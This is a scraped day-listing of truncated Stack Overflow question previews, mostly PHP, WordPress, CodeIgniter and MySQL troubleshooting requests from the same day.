« first day (218 days earlier)      last day (92 days later) » 
00:00 - 13:0013:00 - 00:00

1:05 PM
0
Q: how to save responsive menu open/close value?

FreshProWe recently changed our front-end and start using Metronic responsive theme. I have a left menu like : Now since this is responsive if you click top left of the menu it resizes perfectly like this: The problem is even if you resized it( for ex: small), when you click a link (or when page is...

-3
Q: Reading PHP array

ccdaviesI thought to access the value of '1' here, I would need to the following $data['category'][0]; ["category"]=> array(1) { [0]=> string(1) "1" } But it doesn't return anything. How would I access the string(1) section to get the value 1? Here is the full var dump of the variable $data array a...

1
Q: PHP password_hash(): Are password hashes portable between systems?

michaelward82It is my belief that passwords hashed using PHP's password_hash() function may be transferred to different systems and still be successfully used for verification purposes. It's my understanding that the bcrypt hash contains all the necessary components that, when combined with the plain text pa...

0
Q: wordpress: is there a way to hook into action/filter call

Alex HerrmannOkay. Here's what I'm trying to get: I'm about to create a very simple logging plugin. Every time an action or filter is fired - I need to log it to the file. The idea is that we will be able to see exactly which actions and filters are executed (and function they run) for every page load. This ...

0
Q: Vagrant with XDebug and Sublime Text: don´t stop at breakpoints

Sangar82I have problems with debugging with Sublime Text 2, Vagrant and XDebug. The debug don't stop at breakpoints I use this vagrant box https://github.com/bryannielsen/Laravel4-Vagrant I´ve read a lot of questions in StackOverflow and none has the answer for my problem. Xdebug successfully connects ...

1
Q: How to group results in SQL from related tables?

RoyThis is related to an earlier question I posted but unfortunately I don't think I worded my problem clearly enough as I did not get a complete answer to my question. I have two tables, one called Groups and one called Items. What I would like to do is select all groups, and then within each grou...

0
Q: wp_redirect() not working and not redirecting to another page in wordpress

kaleeswariI have created a form in admin panel. when i submit a form, it needs to redirect to another page. I have used "wp_redirect(get_site_url().'/wp-admin/admin.php?page=manage_grill_submenu', 301);exit;" but, it is not redirecting to the desired page.I have searched a lot to fix this issue. Does a...

0
Q: Wordpress click on featured image and show post gallery fancybox

Sam SkirrowI am building a portfolio wordpress theme. I currently have the featured image of all my posts display on a page, at the moment, when you click the featured image, it enlarges in a lightbox (using fancybox plugin). HOWEVER, what I want it to do it when you click it, show the gallery images within...

0
Q: mystile fatal error call to a member function is_visible() on a non-object

TejasWordpress version: 3.5.2 Woocommerce version: 2.0.13 Following is the code that is giving the error. The code is of product search. Although the function reads search by tag it doesn't. It searches based on other criterias taken from the checkboxes and drop down menus. In the code below, I've me...

0
Q: How to use ion_aut library in codeigniter with MY_Controller

ocramaHi all i'm searching for a usage of IonAuth library for Codeigniter 2.x and i'm curious to learn how it works. Downloading the package i have a controller auth.php. i had a look at this http://blog.nexico.net/article/secure-area-codeigniter-framework-and-ion-auth So i create, in the core folder...

0
Q: What was the remote code vulnerability fixed in Magento 1.8

Aaron BradyThe Magento 1.8 release notes reference two security fixes: A remote code execution vulnerability was fixed. We thank Bastian Ike for contributing to this fix. Resolved an issue that enabled attackers to gain access to billing information. We thank Darryl Adia (from Ampersand Commerce) for cont...

0
Q: How do I get user's timezone using freegeoip.net's API?

Richard RodriguezHere's the return from http://smart-ip.net/geoip-json/178.44.164.112: {"source":"smart-ip.net","host":"178.44.164.112","lang":"en","countryName":"Russia","countryCode":"RU","city":"Orenburg","region":"Orenburg","latitude":"51.7227","longitude":"55.3637","timezone":"Europe/Samara"} Here's th...

0
Q: Any ideas for a php code for this?

Acelasi EuI need to make some math, and I cannot seem to find a way to do it. I have the following table, resulting from this query: SELECT materii.id, materii.materie, GROUP_CONCAT(note.note) AS note, GROUP_CONCAT(DISTINCT teza.`teza`) AS teza FROM materii LEFT JOIN teza ON mat...

-1
Q: php array group and count

user889349I have an array: Array ( [0] => Array ( [gateway] => 1 ) [1] => Array ( [gateway] => 1 ) [2] => Array ( [gateway] => 2 ) [3] => Array ( [gateway] => 3 ) ) Is it po...

0
Q: multi-table mysql/php query with two outputs to an array

user2812802This is gonna take a minute to explain, sorry. This bit of code is part of an xml vqmod for opencart that exports order data from selected orders to an excel spreadsheet. For the most part it works fine. There is one hitch though, if there is a record with more than one advanced_coupon listed...

0
Q: Php displaying username /username

Jake gloomingsI just wanted to know if i can display my logged in username such as http://website.com/username /username would be the username and to display the username on profile.php how can i display that in a echo? or variable here is my ht accesses below if needed RewriteEngine On RewriteRule ^([a-zA-Z0...

0
Q: No Form data after POST request via Ajax (Symfony)

kmaciI'm using this code to call action via AJAX: $.ajax({ type:"POST", url: "/calculate" }); And I'm trying to get form data by this: $form = $this->createForm(new FormType(), new Entity()); if ($request->getMethod() == 'POST') { $form->bindRequest($request); $data = $form->getDa...

0
Q: fsockopen many connections in the same time

JohnSmithIs there any way to init connection with many addresses in the same time, I don't see any multithreading solution or something. I want to save time, because now I'm using loop and it takes too much time.

0
Q: Form wont update user profile

user2792990I have an issue with uploading an electronic signature image to the users profile although I cannot find where I went wrong:( I did include the "signature" in all the other files where it needs to be specified... Am I missing something? <?php if (isset($_GET['success']) === true && empty($_GET['...

0
Q: How to fix the title bar in Grid?

user2595861While displaying data using grid, is it possible to fix the title bar?? So that when scrolled down the titles remain fixed and only the table scrolls down. Any suggestions??

0
Q: Problems up setting up codeigniter with sparks & active record

user729229I am having problems getting my sparks install to work with my codeigniter install here are the steps i took which were as follows: i went to my root of my codeigniter project folder through my PHPCLI to install sparks using the below command php -r "$(curl -fsSL http://getsparks.org/go-spark...

0
Q: Ajax pagination in php mysql

Saima MaheenHello I copy this code from website for using ajax j query pagination in php with mysql. i have a mysql table with 5 columns. I want to show all column of mysql table not only two. like that i edit while loop but i cannot insert more columns please help me i am new one and it is difficult to ...

0
Q: Debugging non-browser HTTP requests in PHP

kungfuslippersI'm building a PHP server that responds to http GET/POST requests from mobile applications. I'm fairly ok with using xdebug to debug http requests that are initiated via my browser etc. Using xdebug if I enter a url in my browser and set an appropriate breakpoint in PHPStorm - there's no proble...

0
Q: $_FILES is not empty but the file didn't upload

eduardoi have a form to upload a file, the code to check if it arrives is here: if (is_uploaded_file($_FILES['foto'] ['tmp_name'])){ echo "file is valid and was uploaded"; print_r($_FILES); } and it says: file is valid and was uploadedArray ( [foto] => Array ( [name] => Penguins.jpg [...

0
Q: AJAX Called PHP Query Not Working

Arw50452I'm attempting to display dynamic data in a Bootstrap Modal using an AJAX call to a PHP query. The Javascript function is working fine and passing the ID to be used in the .php file, but the query itself doesn't seem to be working. I must be missing something pretty simple, but I don't get why it...

-2
Q: export data to csv from php

Mohammad FaisalI'm using this code as mentioned here. $file = date('dmY-His'); header("Content-type: text/csv"); header("Content-Disposition: attachment; filename=visitors-$file.csv"); header("Pragma: no-cache"); header("Expires: 0"); $sql = "select id, ip, server, time, date from visitors"; $res = mysql_que...

-2
Q: zend framework 2 database connection

lucasbokoI developed a web application usinf ZF2 in my local server(WAMP) and my database connection and all the related operations work very well but I just deployed my application online and it doesn't work anymore. Please note that I am about to deliver the project so quick reaction will be truely app...

0
Q: Add php and html dynamically to form

user1712718I have created a form to add a pdf document to a mysql database. The form asks for a title, course and the pdf. There is a element for courses, that is populated using a mysql_query in a while loop. This select pulls out the course name and the id from the database for courses. Now I just re...

-1
Q: Drupal PHP Panel Selection Rule

BastiI simply want to check if a field isset for my drupal panel selection rule, but anything I tried failed for now. Could someone give me a tip?

0
Q: Wikipedia PHP - handle results

user1141796I use the MediaWiki api to get Wikipedia a PHP serialized arrray of information about a specific country. http://en.wikipedia.org/w/api.php?action=query&titles=Belgium&prop=revisions&rvprop=content&rvsection=0&format=php My question How do I get a specific field out of this array? Like f.e.: ...

0
Q: preg_match minutes and hours

Jason BI try to get the minutes or hours used in a string. Example 1: $string = "I walked for 2hours"; // preg_match here $output = "2 hours"; Example 2: $string = "30min to mars"; // preg_match here $output = "30 minutes"; Already read the question below. But doesn't solve my question: PHP preg...

0
Q: Internal web page to retrieve, save and store information?

Josh Nimeskern(I apologize for any incorrect lingo) I am creating an internal web page as a sort of intranet for me and another associate to use in our department to keep track of information. I have created "pages" using HTML to navigate and saved in our department folder. Doesn't need to be flashy just fun...

0
Q: Moved file error codeigniter

user2814461I have codeigniter 2. I have moved the config folder and few others from application to a new folder in system called engine but now getting error error can not find catalog/config/constants.php I am trying to find out how to set the appropriate application and system paths in index.php? So the...

0
Q: MySQL server has gone away but suspect it's not MySQL configuration

Peter JealI hesitate to ask a commonly ask question but I'm stuck. Application is a web page querying on a static table of 33k odd records which describe sound effects. User queries by category or keyword, gets a list and can download or play using HTML5 . It uses sessions to maintain users' preferences a...

0
Q: How to run a query in model and load in the controller?

Tiago Ornelas VieiraI was doing a query in the controller but it came to my attention that I should do it in the model. This is the code I have in the controller $this->db->where('page', 'your-secret-skill'); $this->data['articles'] = $this->article_m->get(); and this is the get method I have in the core...

0
Q: PHP regular expression, creating subpattern

WraithLuxProblem: I have two strings that I have to extract data from. I use preg_replace to do this. However, I'm not sure how to make it so that the last (\s\:\:) can either match or not. I tried {0,}, but then it doesn't match the first string, and without it the last string doesn't match. <?php $stri...

0
Q: Targetting XML with namespace using php

Ryan TravisI'm new to XML and I'm having a hard time grabbing the MarketRent. I'm trying to target all the ILS_Unit with a certain id and grab the MarketRent nodeValue. But there is a namespace, which I register, but I'm receiving a blank page. Heres the code http://pastie.org/8354481 . Any help would be...

0
Q: Find a Custom Variable String within another String

Nero F RoxI've been holding off from asking this and researching it as much as possible but I still can't find a solution. I have a PHP application where there will be certain tokens that will initiate other apps. for example i will have variables like this %APP:name_of_the_app|ID:123123123% I need to...

0
Q: Cannot get xml feed to be validated by third-party applications?

learnI'm currently trying to create a feed which will be automatically updated and then use a service like twitterfeed to then push these changes to facebook and twitter. When I view www.mysite.com/rss I see all of the correct jobs displayed in plain text and not in a hierarchical format but I don't ...

0
Q: Codeigniter send email message link not working

lyhongI am try to send confirmation registration email to user by using Codeigniter. I need to send a verify link but it has problem with dot sign before protocol such as .com. And I tried to delete dot sign " . " before com it works correctly. Please see my code bellow: $config['mailtype'] = 'html'; ...

0
Q: Add a Combo Box to Form Using Javascript, with Options from php array

Umpong_1947676I have a function that automatically adds rows to a table onclick of a button. This adds rows with textboxes in each cell. My problem is that I have to replace one textbox with a combobox that should contain options from a php array. Here's y code: //this adds a row to my existing table ...

0
Q: Updating single MYSQL record using PHP

Jackie69I am trying to add an edit functionality to my table currently displaying MYSQL table content. I can add and delete records, but I cannot seem to edit them. Below is my code. Can anyone tell me what I am doing wrong?? //Editing a record $name=$_POST['editc']; $sql="UPDATE course SET ...

0
Q: reply-to address in php contact form

MajorKooterI bought a simple website template with a php contact form. Everything works great with the one small exception of actually receiving the messages sent via the form. That is, the contact form would show a success message, but the message would never arrive. After a long back and forth with my ho...

0
Q: PHP substr used with preg_replace

Mateusz OsuchI have function: function postNumberToLink($string) { return preg_replace('!\>\>\d+!', "<a href='#$0'><font color='red'>$0</font></a>", $string); } My questions: What's better (generally): Formatting string before putting it to db, or formatting clear text after querying it from database? I...

-2
Q: How to check validation of entered number

user2648094I want my user input the phone number with this format(09351234567)11 character Length and start with 093 in input box. how can i check the enterd number?

0
Q: jsonRPCClient Error with php variables

Sam Vellaam trying to run the following code $betamount=$_POST['bet']; $litecoin->move($myusername,Admin,$betamount); but it will not work. it does however work when i replace $betamount with an actual number ie $litecoin->move($myusername,Admin,0.2); or $betamount=0.1; $litecoin->move($myuserna...

0
Q: correct way of saving dropdown in php

AtroXI am using 2 kinds of dropdowns. The Yes/No and one with multiple values. Either way I use this: <select id="active"> <option value="0">No</option> <option value="1">Yes</option> </select> or <select id="active"> <option value="1">Choice 1</option> <option value="2">Choice 2</...

-1
Q: Complex mysql select query 7

GunoFor example i have the table and values: CREATE TABLE IF NOT EXISTS `words` ( `wd_id` int(11) NOT NULL, `st_id` int(11) NOT NULL, ) ENGINE=InnoDB DEFAULT CHARSET=utf8; ---------------------------- | wd_id | st_id | ---------------------------- | 2 | 4 | -----...

0
Q: How to use Reserved characters in createQueryBuilder and MongoRegix

user2772349i'm doing search with ZF2 Doctrine2 ODM and using MongoRegix but the problem is that i'm not able to search those terms which contains brackets like BS(Hons) is not searchable. my query is $q->addOr($q->expr()->field($columns[$i]['field'])->equals(new \MongoRegex('/.*BS(Hons).*/i'))); any sugg...

0
Q: PDO + Singleton : Why using it?

Yonn TrimoreauGood morning, As I read on the web, many developers are using singleton pattern for their PDO connections. I've been using singleton patterns before (in VB.Net), and I'm quite sure that it's only useful when you have to call an instance twice or more. As I'm currently working on an e-commerce w...

0
Q: JQuery .post() return html into table

TurpI have a form with two input boxes. Song and Artist. When the search button is pressed, it uses the JQuery function of .post() to post the data to a PHP page and return results back to the page. Here is my JavaScript code: <script> $(function() { $("#submitSearch").bind("click", ...

0
Q: How to parallelize requests without mecache in PHP?

rapaduraThe page really needs to load fast, but the DB is slow, so we split it into two db calls, one faster and one slower, the first one that is faster runs and we can serve a part of the page that is quite usable by itself. But then we want the second request to go off, and we know that it will ALWAY...

0
Q: DHTMLX calendar - How to use ajax with onChange event

KannanyiiI am new to DHTMLX calender, in that how can we use the multiple dropdown based on ajax using onchange or on select events. Thanks in advance

0
Q: Realtime ffmpeg shell output PHP

matthew johnstonAlright, I've been fighting this problem for a few days. Works fine on my local windows machine but, can't seem to get it to work on my CentOS server. My script grabs the duration of the video being converted and also grabs the current seconds it has processed inside of ffmpeg. However, it is onl...

-2
Q: get data between two date columns

anil mauryapmComm validFrom validTo 6.00 2011-11-01 2012-01-24 6.00 2012-01-09 2013-06-30 9.00 2012-01-25 2012-03-31 8.00 2012-04-01 2012-08-31 5.00 2013-07-01 2013-09-30 7.50 2013-10-01 2013-12-31 15.00 2014-01-01 2035-12-31 I have a table and...

0
Q: How can I move the WordPress Revolution Slider Script Tags and Style Tags in a theme?

JasonAccording to W3C having a Revolution Slider in the body of your document is non compliant because the slider uses script tags and style tags that need to be in the header. I have looked inside of functions.php and other Revolution Slider PHP files, however I have not found a line of code that wri...

0
Q: Why openssl can't decode the string encoded by base64_encode function of php?

SugeI want to base encode a string, and decode it in C language with OpenSSL api. I encoded in php like that: <?php echo base64_encode("aaa"); ?> result is "YWFh" Then decode it in C like that: int base64_decode(char *str,int str_len,char *decode,int decode_buffer_len){ int len=0; BIO *...

0
Q: Email Sending Localhost

Anne BuenaI'm wondering if it is possible to send an email from a localhost? I've tried something but it didn't worked and I thought maybe it wont work in a localhost. Here's the code: // Send the email: $message = " To activate your account, please click on this link:\n\n"; ...

0
Q: cakephp access array in view

Curtis Timo SchmidtI have a array looks like this: Array ( [0] => Array ( [Project] => Array ( [id] => 3 [title] => Title001 [created] => 0000-00-00 00:00:00 [modified] => 2013-08-05 17:39:07 ...

0
Q: Force download error

Yahia Mgarrechi use this code to force download files , it works in localhost but in "GoDaddy" server it just displays me the text/code of the file in other tab header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); head...

0
Q: AJAX not working with IE browser

vinay chorpaI have been trying this code from http://www.w3schools.com/ . This is working perfect with Chrome and Firefox but not working with IE , Can any body suggest what's wrong in the below mentioned code ? <script> function loadXMLDoc() { var xmlhttp; if (window.XMLHttpRequest) {// code for IE7+,...

0
Q: How can i display a navigation bar across multiple webpages?

AndrewI know CSS and HTML to a reasonable degree, but I've never built a multi-page website before. I have a header area of my site coded, and want it to display it across multiple webpages. How can I do this?

0
Q: Create timestamp with a specified month in Smarty

jeff fabinyI am populating a simple HTML select list in a Smarty template with month names. A timestamp object is passed to the template. I would like the passed in timestamp month to be the default value of the select. The passed value could be passed in as an int (1,2,3,etc...) or a string (jan,feb,mar,et...

0
Q: What is the logic behind web spiders

AayushHow does the web spiders work ? I mean i am not asking the programming logic, what I want to know is how does they get connected to the whole internet. How can a script work to reach all the web sites present on internet? For example how does google gets to know about a website newly created ? ...

0
Q: How do I match results to MySQL value in PHP?

user2233333I am attempting to build an admin panel where an administrator can view ONLY the records of users that have identical values in a table column called 'School'. The table is called users and has both the admins and regular users in it. So when the administrator from School X logs in, he should onl...

0
Q: Utilizing multiple variables in select option

CBC_NSCommunity, I currently have a select drop down whose values and titles are being populated via a mysql query. Currently, all it's passing is (source_id). However, I want it to pass a second variable as well, (source_flag). I need both for the following reasons. If the source_flag is set to 'Y...

0
Q: Wordpress php how to use get_post_gallery_images

Sam SkirrowI have come across the 'get_post_gallery_images' command today and wonder if someone could help explain how to use it. What I'm trying to achieve is a page which displays all posts and a list of the image urls for each post. So the page should have several posts on, and each post should have se...

0
Q: Populate Dynamically Created Dropdown with Options from PHP array using javascript

Umpong_1947676I created a javascript dropdown using this code: var cell3 = row.insertCell(2); var element3 = document.createElement("select"); element3.name = "prddrop[]"; element3.id = "prddrop[]"; cell3.appendChild(element3); My problem is to populate that combobox with data coming from a PHP associativ...

0
Q: assigning the lines of files to the array in php then access it in javascript array

XufyanHere is what I'm trying to achieve, Read a text file using PHP and assign each line of it to an array value and print them, <?php $file = fopen("news.txt", "r"); $news = array(); $count = 0; while (!feof($file)) { $count = $count + 1 ; $news[] = fgets($file); } fclose($file); for ($x=1; $x

0
Q: Contact form doesn't display in cs-cart

zkentCS-Cart 2.0.8 PHP 5.4 Our host is 1and1 and they are basically forcing us to move to PHP 5.4. Once we did so, the Contact us form no longer displays on the page. https://www.kongoshindojo.com/store/index.php?dispatch=pages.view&page_id=1 I know there are issues with PHP 5.4. What are my opti...

1
Q: PHP PDO 'WHERE' statement working for null and not-null values

Pavel S.Let's have 3 records in the database: id | name | value ---|-------|-------- 1 | 'xxx' | 'zzz' 2 | null | 'aaa' 3 | 'yyy' | 'bbb' There is a simple data query I want to perform. It is easy to find out if the following object is in database: name = 'yyy' value = 'bbb' But what about t...

0
Q: udp socket programming in php

Harun ThuoI'm trying to run a udp socket on windows cmd..here's my server script.. <?php error_reporting(~E_WARNING); if(!($sock = socket_create(AF_INET, SOCK_DGRAM, 0))) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die("Couldn't create socket: [$errorcode] $errormsg \n"...

0
Q: Multiple accordions

relysisI am trying to implement multiple accordions in a webpage but there seems to be a problem with my code that I just can't figure out. Here is my code: $k=0; function accordion($i,$rez1) { $acc_rez="<div class=\"tab-pane\" id=\""."$i"."\">rnd txt"."$i"."accordion"."$i"; $acc_rez.="<div c...

0
Q: Correctly encode unicode character when extracting from SVG Iconfont file

KriesiI need to extract all the icon glyphs of an SVG Icon Font file and store the unicode attribute within an array. Extracting the actual xml node is working fine but I have problems with the character encoding. Here is what I got till now (stripped down code): The xml output of an SVG Iconfont fil...

0
Q: validation: IO Error: Maximum redirects (20) exceeded

A1exandrI wrote my first dynamic php website and deployed it on the server. Everything works fine, but now i'm trying to validate if html is good and can't do that because of errors. at http://html5.validator.nu/ - IO Error: Maximum redirects (20) exceeded at http://validator.w3.org/ - 500 Can't conne...

0
Q: Address multi dimensional array in PHP using variable name

GlutorangeI've been searching for hours, read http://php.net/manual/en/language.variables.variable.php with all comments but did not find a solution for my problem :( There is a multi dimensional array, for example: Array ( [53] => Array ( [59] => Array ( [64] =>...

0
Q: cURL request work fine on serveur but wont work on my localhost:8080

PeterI create a processus that log me in my account of #########.com. It work like a charm when I put it on my FTP. This is the problem : I have an apache local serveur set on my machine (easyPHP) on localhost:8080. I have also an IIS server set on my machine at the port --> localhost:80. My cURL ...

0
Q: Showing up highchart after submitting form in other file

alexalexalexKindly need help... I want to show Highchart in file_1, when highchart script is on file_2.. i'm using PHP, Jquery and AJAX... here is the script SCR_test02.php <?php require "function.inc.php"; //require "showscr.php"; include "conn.php"; include "q_table.php"; ?> <form name="scr_form"> <...

0
Q: Warning: mysqli_fetch_array( )

Daniel ForbesI'm getting this Warning: mysqli_query(): Couldn't fetch mysqli in /home/u443228523/public_html/easy.php on line 6 Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, null given in /home/u443228523/public_html/easy.php on line 12 From this code: <?php include "conexion.ph...

0
Q: Manual setup google's pubsubhubbub - no verification / feed result failed

Thomas Kutschker I tried for over 10 hours to setup a Google's pubsubhubbub feed (manual + php), but it's not working. Here is what I did so far: Published 'buystreamme.blogspot.de/feeds/posts/default' visited pubsubhubbub.appspot.com/subscribe Callback URL: http://buystream.me/endpoint.php Topic URL: http:/...

0
Q: External PHP data not passing through AJAX

Anthony VrinatI'm working on creating a simple online booking system using PHP and AJAX. The current layout is: Each booking grabs a preset list of items then users can add additional items that they need. To do this I have set up an AJAX button that calls a new drop down list each time its clicked. (This mea...

0
Q: Creating an xfdf/pdf with flex and php

James PattersonI am sending data from a flex 4 app to a php script that creates a XFDF/PDF. How do I get the PDF back and displayed in the browser.

0
Q: jquery cycle - keeping slideshow centred even if images are wider than browser window

Zaphod BeeblebroxI'm trying to use the jquery cycle plugin to fade in and out some images which I want to use on the front page of my site. The trouble is, to cater for people with big screens the images are 1400px wide and centred, which works well on large screen sizes, but I need these images to be centred on...

-3
Q: curl is not working

ManjuI am developing a site to search & book the hostels using hostelworld's api,from their i am getting all the values by using curl operations,but suddenly nothing is coming from the server,but the api is working.Is this the server fault or because of the wrong curl functions?This is my curl code $...

0
Q: usort while keeping the keys

Vlad PredaI am looking for a way to do a proper usort without the function to reset the keys of the array I want to sort. However, usort cannot do that. From documentation: Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rath...

0
Q: Mageto Dhl integration trouble

SKVI am trying to implement DHL shipping method in magento for a country where zipcode/postcode are not mandatory to be filled. When i copy the xml sent by magento to DHL api i get the desired response although when i try to checkout through generic magento procees, i am unable to get the quotes. ...

0
Q: Voicexml: <record> submiting as $_POST instead of $_FILES

user2815158can someone help me decipher this puzzle. My posts from the voicexml below arrives my php script as a $ _POST['SOURCEADDR'] & $ _POST['recMsg'] Is there something I have to do at my server's configuration to enable $_FILES[]? I have this same script working properly when I post from a html web pa...

0
Q: Find the flaw: Credit card storage and encryption method for commercial software

RickMWe're in the middle of building a commercial software package (PHP based, with support for MySQl, PostgreSQL, SQLite and SQL Server) that in a nutshell allows a customer to have an account, and pay for items whenever they like. Because we're working with a wide range of clients, having just 3rd ...

0
Q: URL redirection wont work always?

Teifun2Im Workin on a Webapplication in PHP with CodeIgniter, and im stuck :P Its very difficult to explain, so i show it with an example. I have normal CodeIgniter Controller. In this Controller i have a function like this: <?php public function groups($subdomain ='') { $this->load->library('MyL...

0
Q: problems implementing php-activerecord with codeigniter

user729229I am trying to implement php-active record based on the previous problem i had in the previous stackoverflow post setting up sparks with php-activerecord in codeigniter ok, so i put that code in the constructor and my error vanished(phew). but now on to testing that orm works. I created model ...

0
Q: MYSQLi Query Filter Price

Brent FrenchI am trying to filter through my pricing structure on my website, when I run the query on my SQL database I get 4 results which is correct. Once I had the correct query I used this inside of MYSQLi and I am getting 64 results which is everything in the database. Not sure whats going on maybe it...

-2
Q: Fatal error: Call to a member function fetch_assoc() on a non-object in D:\wamp\www\mysite\index.php on line 85

cuongeuro//code here <?php include("includes/connect.php");//($conn = new mysqli("localhost","root","","myblog")); if(isset($_POST['search'])){ $word = $_POST['keyword']; $query1 = $conn->query("SELECT * FROM user WHERE MATCH(username) AGAINST ('+".$word."' in boolean mo...

0
Q: How can I create a fixed table header

royjmI have a table that is auto generated using php and pear html_table. The table has a th row across the top and they have a class of assetHeader. The table also has a th column down the left side with a class of timeHeaders. The table consists of 96 rows by an indeterminate number of columns. I am...

0
Q: PHP Keeps Crashing on Nginx Server, Undefined Variable Error in Logs

user2815847PHP crashes at least once a day on my Nginx web server. Looking in the logs, a crash is always preceded by a bunch of undefined variable errors. However, I have made sure that on the sections of the code referenced by the errors that I always use if (isset()) before accessing the variable that mi...

0
Q: attach a file in Extjs 3.4 and display document

Alvaro ParraI have a Location saved in my database, this location is C:/ArchivoDePublicacion/transparencia19/Archivos/1/20/2013-9-17-1039hrsObservacionesFormularios.docx i want to show attached files from /Archivos/1/20/ in a tree and when i click one of them document to be displayed. Thank You

0
Q: Codeigniter paypal_lib library did not call ipn notification url

ManikandanIm using paypal_lib library.. It's works fine. but during the payment process notification ipn url did not call that function Here below hidden fields function : public function user_pay() { $userId = $this->encrypt->decode(base64_decode($this->uri->segment(4))); $pamount = $this->enc...

0
Q: Parse error: syntax error, unexpected 'search' (T_STRING)

user2815776Hi guys I new to this and I'm trying to create a search form, but seems to be a problem with my function php file. I know for fact that the problem is in my "if" statement but I have no clue if there's any other option that i could use to make it work. Here's the code: function my_search_form( $...

0
Q: Sql Variable PHP Inclusion Issue

Tom SmedleyHi I'm having trouble adding a variable to my Sql script, if i replace $safe with 'text' it works fine, i guess its a simple synatax problem. I hope someone can help as i'm a bit of a newbie! <? $ORDERID = 'LH-PAY-'.rand(10000000,99999999); $safe - mysql_escape_string($ORDERID); mysql_connect(...

0
Q: Symfony2 DomCrawler - how to keep child nodes tags

MilosI am using Symfony2 DomCrawler to serch for specific nodes. I have a DOMDocument with some html inside. What I am doing basicaly is that I am searching for a <p> tag with the specific class name. Let's say I have this html in the $dom object: <p class="one">class one</p> <p class="two">class t...

-1
Q: I need to implement paypal chained payments with PHP

TresI've found some answers that redirect me to Paypal-Labs, but currently it's under maintenence, so I have to create a button for chained payments for my site.

0
Q: How to implement a Audioplayer for Mozilla Firefox?

Tagir Nagumanov So, I want to create a extension for Mozilla. The extension must get data from API (vk.com). This social network has a section for developers. You can view about this here – vk.com/dev. I need OAuth by users => get user's music. And then I need implement user interface (I don't know how it do...

0
Q: JpGraph Error: Your manually specified scale and ticks is not correct

user2812642I get an error for manually specified scale and ticks is not correct, how can I make it automatic ? my code for tick position is: $datay=array(0,5000000,1000000,15000000,2000000); $graph->yaxis->SetTickPositions($datay);

0
Q: Calling multiple functions from the same PHP resource

Mcam435On my page I'm trying to run two functions from the same .PHP document, however I was getting the error "function already declared". I had a look here: PHP: how to avoid redeclaring functions? After looking at this I changed my code to: <?php include_once('resource/bui...

0
Q: Getting a Zend_Db_Table resultset to return different types of objects

dKenLet's say I have a DbTable_Product table class that represents a table product. When I query that table i.e. $myProducts = $productTable->fetchAll(); I get a resultset of DbTableRow_Product objects. This is fine and it's the way I've done it forever. I've just now come up against a problem fo...

0
Q: How to send html tags to controller in codeigniter using ajax with json datatype?

Ferdinand BalbinI need to send a value from textarea with html tags and inline css codes. I used ajax to do this with json as a datatype. $('#add_course_form').submit(function(e) { var course_desc=tinymce.get('course_desc').getContent(); $.ajax({ url :"<?php echo base_url();?>courses/...

0
Q: SQL -- IF EXISTS doesnt work

user2815908Im trying to doing a sql query that is not working, I would like to add one element to a table only and only if that value is not in the table, something like that: IF EXISTS (Select `id` from `artists` Where `artist`='"$artist"') Do Nothing ELSE Insert into `artists` (`artist`) values('".$...

0
Q: use xml-rpc for ssl enabled sites

user1472060I want to connect xml-rpc site that use ssl cerfification. But i can't call basic file_get_contents() due to the SSL certification of xml-rpc site. How can I disable php ssl check without using Curl.

0
Q: phantomjs on Mac OS X works from the command line, not via exec()

alberto56the following works fine on the command line for user xyz: /opt/local/bin/phantomjs --version 1.9.1 But, in PHP, with the same user (xyz), I get an error code 5 exec('/opt/local/bin/phantomjs --version', $o, $r) echo $r I'm using MAMP, and exec() normally works fine. If anyone knows how to ...

0
Q: Items set with spymemcached cannot be fetched with php memcached

Shades88I am using spymemcached. I set a couple of items. Then I run a php script, however then I cannot get all those items using php memcached. I cannot change php's hashing algorithm. In our system we are using simple modulo hashing in for php memcached. I have read that spymemcached uses consistent ...

0
Q: Sessions unregistering on IE10 (related to register_globals?)

Antoine BouchardI have a really weird issue here: I have a website with a member login form. When you log in, it creates sessions and cookies. The code uses the register_globals parameter, so the session are registered with session_register(). It has always worked well, as far as I know. But in IE10, when I log...

0
Q: Unset from string-query issue

Matthias Müller<?php $so = array('marke'=> $_GET["marke"], 'farbe'=> $_GET["farbe"], 'sort'=> $_GET["sort"]); $parameter = http_build_query($so); $unsetfarbe = unset($parameter['farbe']); ?> It causes server error, what is wrong here?

0
Q: How to insert data into a relational database using PHP PDO

user2045339I'm trying to insert data into a relational database. The schema is below -tags id tag -tagMap id img_ID tag_ID -images img_ID name url description width height orientation color format date_taken camera_make camera_model thumb_url view_count uploader_ID sub_ID upload_date -users netID user_...

0
Q: PHP Loading times

CarterThe following query take 10.86secs to initiate, $sql="SELECT items.id i_id, status,manufacturerid,model,label,cpuno,corespercpu from items,item2soft ". " where item2soft.itemid=items.id AND item2soft.softid={$r['id']} "; While this code takes 23.73secs $sql="SELECT items.id i_id, ...

0
Q: using Cache in cronjobs with Laravel artisan

Voron Dmitryneed help. I want to use Laravel Cache class: class Uploadcatalogfiles_Task { public function run($arguments) { error_reporting(0); $uploadFlag = Cache::get('upload_is_working'); if ($uploadFlag == 1) { echo date('Y-m-d H:i:s '),'BIT: CACHE SHOT!.',"\...

-1
Q: Deprecated: Function split() is deprecated in

user2815975$basketItems = split( "a" , mysql_real_escape_string($input) ); $itemids = split( "," , $row["itemid"] ); I'm getting the same error for both lines. Now when I use explode() I don't get any errors but have issues with mysql sided because not everything works proper then. Any suggestions?

0
Q: MYSQLi Array Variable

Brent FrenchMy code works fine when I input numbers into the Query like so.. $results2 = $this->db->where( 'price', array( 'between' => array(0, 100000) ) )->get('propertie_ids'); But once I try using ver I am trying to use a variable in the class I get no results. if(isset($_GET['pricea'])){ ...

0
Q: Delete Row - Refreshes Page but not DB

Greg LThe following code I wrote to perform two functions. Delete a row matching the the row[id] and to also erase the associated attachment post. It functions - The code shows the delete button in every row, and when pressed the row is deleted. However after pressing delete the page is refreshed (n...

-1
Q: PHP page working locally but not on server

ewk53Working fine locally, but the php page is blank when I upload it to my server. Can be viewed here: http://www.evanwknight.com/United-Redesign/ <form action="welcome.php" method="get"> <input type="text" name="name" placeholder="enter first and last name" > <br /> <input type="image" ...

0
Q: URL Rewrite Exclude specific URLs

user1085489I know this is probably a simple question but I would like to exclude a file from the URL rewrites. The extract from my web.config file is shown below and I would like to exclude the file called demo-download.php from being rewritten (it is causing issues with $_POST). <rewrite> <rules> <rule na...

0
